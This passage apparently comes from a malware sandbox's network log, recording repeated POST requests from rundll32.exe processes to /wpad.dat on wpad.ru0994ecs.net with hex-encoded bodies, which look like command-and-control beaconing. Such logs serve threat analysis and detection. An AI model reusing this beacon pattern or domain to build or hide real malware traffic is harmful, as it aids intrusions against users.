2024-04-16 21:04:00 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:00 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BsaNEN3tu8awt3a%2BGtlvDQyIAF9oRufTApz0TCgAX4AGvOolgHEXEBgLD4HtU2NSYODCIiGiCCw%2BJ93W3VfhdTLWEGJR8CauJDt8IL%2FWbu%2BZpfRt%2B2tBtwryA2ONbnHaXn7BJWE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87572011ee241d7e-ATL
2024-04-16 21:04:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49838	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:01 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:01 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:01 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7YtU1XmbYQmmhTLsm0D2%2BrsZ8vjnnpRFjsVpuAgJXRhidxOLCt4ZUyZAHcLP%2FxEVORryt0Urq2YH%2BnbBapU9znr%2BZO4LhhHYJaYxk5Gq1%2FjFe7oBIgiNjnrCAAFuv1jpqLWH%2B3Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757201a4a1412f5-ATL
2024-04-16 21:04:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49839	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:05 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:05 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:05 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FxSNNilzXck%2Bsn5IUSlDjM5ctI7g2yTfT6g5mHxDHdCRtbMnRej5zy3GuVylzR%2B6ThisUXOQM3mzT1P5RTBYTvSf%2F0UuvQcMJT1Ga1I3kUdk6DBI%2FEk9jP3sI2JFymlyBNNCWR0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87572033ee896764-ATL
2024-04-16 21:04:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49840	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:05 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:05 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:06 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=86xAPI0kHohccc8aPLKWisXfrqXNMk28Ryat5WU7hm%2BtJiWd3cDqbWuKzBvNTsFd7ukOLq5FvRZY2HQ2%2FvjRrRBsuu81f%2Bg7a%2FlFNvn7mwOgO9V4UawwX3Ft7DxDhlQxjDLgirw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87572034e8434575-ATL
2024-04-16 21:04:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49841	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:06 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:06 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:06 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tzLmb29xY937PZolMMAxCvt%2FBv1EFbowq3uXJ%2F31Z%2Bl5GA1q9abANC99HusyvOgEje9sULnQXtl74QSz4l56csbrYbOi1JusQZ%2FqMawje%2FDuWbbvttEmyak%2B2Ed3VSgTbw1uVnc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757203739ddaddd-ATL
2024-04-16 21:04:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49842	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:06 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:06 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:07 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FMDOCgczfrgi2rwkz%2FmNeINdhZlgxxAGfbOxNG58NpjhRJ1mUpyUCs8GCrzJIq3OgMN%2BEOuryOGOvG8vW0Ir5YMHg15qYHdN9iTLBDpCYaLMGGHeM6tKomEeHS4%2FiLUvcIq4FPA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757203b39d58bb9-ATL
2024-04-16 21:04:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49843	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:10 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:10 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:10 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YOvEhPi39%2F9b3NJDLAM8pq5p95NLcFmYiuEloFD0R72xCFzI1qpKtu6%2BqB2ufWZuSjRBO5zH6KpWpo3xqPVjJQx1zZJ6Y8CKozdIYIh4cY%2BUpUUw1WOTfQfblLp5B6DAQWd1mgc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87572050efca69ef-ATL
2024-04-16 21:04:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49844	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:10 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:10 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:10 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pqa0sJQ4%2FeMKVGEyZBujWRoKja8X%2Fz5LsvTpPKtwkpxgDT1jQ1FcTPaeJuk30H1Y26nC5dgPljEd7c4ynFz5EqCPFvKLLkC4b9UR8erQU7Bo1msPfzv5F1W7wi0PcRoLYooWg9w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87572051fc47453f-ATL
2024-04-16 21:04:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49845	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:12 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:12 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:12 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x2JlxKnsBNzsHblK%2FlAGN1%2BA1UlTkXeW3IVcX%2B5tkhxmpOybdLC6OO8H0KL5qJpiSAathgGiHkWJSnGZee9nHl6oM3mITWgcYbYrOiHG7lfxTgbvuooMCyyXxCiCLpDiAZ1wfxs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757205dee16b0cf-ATL
2024-04-16 21:04:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49846	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:14 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:14 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:15 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oansilnmNEaYYp979dMhm%2B4npOPnMnZnlTl2RMLewp52ymVUwoSUpFXMv2n8jVuysyqFeBN89bgUzNeIJtPFMlqFAAHNnsFP8d4geQ4HhkTQNkXxrgY98Dg66w3TY0Aotp5zAU8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757206deb6e7bca-ATL
2024-04-16 21:04:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49847	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:15 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:15 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:15 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KCPVQHNXlc0a6x7avdiwjzJpqru9L1eN4dbIJiKkKyywkt8nxH7sQPeymOjFFtj8xlzYRSf8Z03HCssN5Uv%2FT5L1Z3XaOyNoPaG6UZyIWrMYcuXMC5fg2DaHPnqoP294usX8XdA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757206f09836749-ATL
2024-04-16 21:04:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49848	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:15 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:15 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:15 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lb4%2BKn%2Brp5i1yaknixLJe%2FLjhfg6mgbRt5m2qxjoeuU%2B0bDoRjCARqWMtNMRbZ09D%2Bl3Y68JLyXwVo2Om55g%2FGczBKyRj%2FkBQbNwyKJBFn400y5k1d8V9LxJz3b5iMt0hYnOwl4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757206f2abf6756-ATL
2024-04-16 21:04:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49849	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:19 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:19 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:19 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X8LUWxpyyivuXzWdiPjFc5VKAY%2F8yDMEGEkAaH5pZ8PF%2F9Q0jT45rockVzn52BY%2B0ltQLiZjdyYiuqePEsD%2BikhAu91I%2Br1xhqZ1rzaQcjKbNPbHCU91iDzvq5K%2BkJ6P8P%2B0OKs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757208aec25b056-ATL
2024-04-16 21:04:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49850	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:20 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
